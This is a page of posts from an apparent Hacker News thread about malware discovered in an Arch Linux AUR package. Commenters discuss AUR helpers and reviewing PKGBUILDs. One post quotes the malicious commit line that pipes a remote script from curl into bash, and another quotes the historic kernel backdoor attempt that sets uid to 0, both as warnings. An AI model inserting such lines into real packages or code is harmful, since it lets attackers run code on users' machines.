Live data from Hacker News

Arch Linux AUR Repository Found to Contain Malware

sensorstechforum.com

81–90 of 137 posts

Re: Arch Linux AUR Repository Found to Contain Malware

#81
post #59

Earlier quoted context omitted.

Ah, in that case, most I've come across do not default to 'edit', but rather to accept. Notice that many default to automatic building: https://wiki.archlinux.org/index.php/AUR_helpers#Active

Huh. Thanks for the link; I hadn't realized that pacaur was announced unmaintained last December. I'll have to look for a replacement.

aurman is the best replacement

Re: Arch Linux AUR Repository Found to Contain Malware

#82

Earlier quoted context omitted.

Imho, especially things that are important solutions to common things on the Archwiki but are AUR, indicated with the AUR superscript there. For example for MTP: https://wiki.archlinux.org/index.php/Media_Transfer_Protocol The one that worked most stable for me was simple-mtpfs, but it's AUR. It happens with other archwiki topics too, I encounter it regularly though can't think of good examples from the top of my hea…

>simple-mtpfs Not maintained (last commit in 2016). So that will be something low on the priority list. >btrfs The dedupe tool looks interesting. Noted on my todo. >closure-compiler Was dropped from the repository. Probably because of the lack of an maintainer.

> Not maintained (last commit in 2016). So that will be something low on the priority list.

I see! Time for me to start looking for a new method of transfering files from android then, thanks for the heads up

Re: Arch Linux AUR Repository Found to Contain Malware

#83
post #30
post #7

I mean, is this new information? I always look at the upvotes on the package to see if it has been tested.

Yeah it would be better if the packages had all-time upvotes as well as “upvotes for this version”.

Honestly, I don't see this happening.

Many packages use rolling versions from git commits, so while the PKGBUILDs don't get updated, any time a user re-runs makepkg on that PKGBUILD the latest commit is pulled and built.

In those cases, a PKGBUILD might be months or years old, but still consistently up to date and valid.

Re: Arch Linux AUR Repository Found to Contain Malware

#84
post #74

Earlier quoted context omitted.

Nothing that I know off. Are you thinking specific to Arch Linux or in general?

In general, but also containing malware found in code belonging to the different distributions, like PKGBUILDs. I'm just thinking that part of the problem with the lack of review of AUR packages by the users is that it's not really obvious what one should be on the lookout for. What does linux malware found in the wild generally look like?, is what I'm wondering. I would think that it would benefit us all to make the…

This is one example of a kernel backdoor:

    if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;
If you haven't heard of it before, and if you're not an experienced dev, it can be tricky to spot. So what I'm trying to say is that I think you're right in that it's difficult for random people (even if they have a strong tech background) to do secure code reviews.

More info of this particular one at e.g. https://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-... or just search for 'linux backdoor attempt'

Re: Arch Linux AUR Repository Found to Contain Malware

#85
post #26

This is exactly what we've been preparing for. Don't use yaourt, and read those diffs. I know a lot of people don't do this, but it's important.

What would you recommend over yaourt?

I love yay[1]. It has few dependencies, integrates well with pacman, has a useful search function, and is incredibly easy to use. I recommend using the binary version (yay-bin[2]) available in the AUR since it doesn't require compilation and has the fewest dependencies of any AUR helper.

[1] https://github.com/Jguer/yay

[2] https://aur.archlinux.org/packages/yay-bin/

Re: Arch Linux AUR Repository Found to Contain Malware

#86

Earlier quoted context omitted.

>simple-mtpfs Not maintained (last commit in 2016). So that will be something low on the priority list. >btrfs The dedupe tool looks interesting. Noted on my todo. >closure-compiler Was dropped from the repository. Probably because of the lack of an maintainer.

> Not maintained (last commit in 2016). So that will be something low on the priority list. I see! Time for me to start looking for a new method of transfering files from android then, thanks for the heads up

Honestly I've always found MTP to be incredibly slow and sometimes unreliable.

I personally just install termux, which allows you to install openssh. Run sshd and then you can use rsync or scp or sshfs or other from the host PC.

Re: Arch Linux AUR Repository Found to Contain Malware

#87
post #77

Earlier quoted context omitted.

Yaourt shows a big fat red warning every time you install a package. It also offers to open PKGBUILD and .install files for inspection.

It should just show the PKGBUILD every time. If it's not doing anything sketchy it's often only a dozen lines.

aurman does a good job. It caches the old PKGBUILD and lets you view diffs. Still, reviewing a PKGBUILD is a non-trivial process.

Re: Arch Linux AUR Repository Found to Contain Malware

#88
post #58

For the people interested, here's the actual commit from the acroread package: https://aur.archlinux.org/cgit/aur.git/commit/?h=acroread&id...

> + curl -s https://ptpb.pw/~x|bash -&

So much for being sneaky malware, he wasn't even trying to hide it... Any insertion of a `curl` command to some shady looking TLD piping to bash is going to be a massive red flag to even unsophisticated linux users.

Not much to see here, fortunately.

Re: Arch Linux AUR Repository Found to Contain Malware

#89
I really hope one day Linux stops using package managers and switches to single-file binary installers as in Windows and Mac. Until that day, I won't feel completely comfortable using Linux.

Package managers are an inherently flawed way to distribute software, instead of obtaining your programs from whoever developed that program you get it from your OS developer!.

Re: Arch Linux AUR Repository Found to Contain Malware

#90
post #33
post #13

Earlier quoted context omitted.

Because there is this myth that only Windows users get infected because Windows is insecure, that packages are vetted, that code being open source means that a backdoor insertion would quickly be discovered, and so on.

Packages are vetted, in the repos, just not in AUR. They also keep tools that would easily/automatically build and install packages from AUR out of the main repos, to encourage manual handling and individual consideration of AUR package build scripts. Also this malware was found in AUR within a few hours of it going up.

How are official Arch packages vetted?
Post reply on HN